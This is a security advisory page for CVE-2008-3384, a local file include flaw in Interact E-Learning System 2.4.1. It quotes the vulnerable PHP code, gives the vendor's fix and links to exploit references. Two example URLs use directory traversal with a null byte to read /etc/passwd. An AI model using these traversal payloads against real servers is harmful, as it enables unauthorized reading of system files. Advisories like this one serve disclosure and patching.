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Home arrow SecurityAlert Database

Arrow  Topic :

Local File Include Vulnerability in Interact 2.4.1


Arrow  SecurityAlert : 4073
Arrow  CVE : CVE-2008-3384
Arrow  CWE : CWE-22
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4374
Arrow  Credit : Digital Security Research Group [DSecRG] (research dsec ru)
Arrow  Published : 02.08.2008

Arrow  Affected Software : Cce-interact, Interact, 2.4.1



Arrow  Advisory Content :  

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-31

Application: Interact E-Learning System
Versions Affected: 2.4.1
Vendor URL:
http://sourceforge.net/projects/cce-interact
Bug: Local File Include
Exploits: YES
Reported: 03.07.2008
Vendor response: 04.07.2008
Solution: YES
Date of Public Advisory: 21.07.2008
Authors: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

Interact E-Learning System system has local file include vulnerability in
script help/help.php

Vulnerable GET parameters "module", "file".

Code
****
#################################################

$module = isset($_GET['module']) ?
$_GET['module']:'';
$file = isset($_GET['file']) ? $_GET['file']:'';

...

$hpath=$CONFIG['BASE_PATH'].'/language/'.$_SESSION['lan
guage'].'/help/'.
$module.'/'.$file;
if (is_file($hpath)){
require_once($hpath);
} else {

require_once($CONFIG['BASE_PATH'].'/language/default/help/'
.$module.'/'.
$file);
}

#################################################

Example:

http://[server]/[installdir]/help/help.php?module=../../../../../../../.
./../../../../../etc/passwd%00
http://[server]/[installdir]/help/help.php?file=../../../../../../../../
../../../../../etc/passwd

Solution
********

This file is no longer required by the system. Remove it from
installation.

Vendor response:

"I have posted an alert to users to remove this from their installations
asap and will get it removed from the next release of the package."

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)



Arrow  References :

http://securityreason.com/expldownload/1/4374/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/43937
http://www.securityfocus.com/bid/30315
http://www.securityfocus.com/archive/1/archive/1/494582/100/0/threaded
http://www.milw0rm.com/exploits/6107
http://sourceforge.net/forum/forum.php?thread_id=2104908&forum_id=237160
http://secunia.com/advisories/31150




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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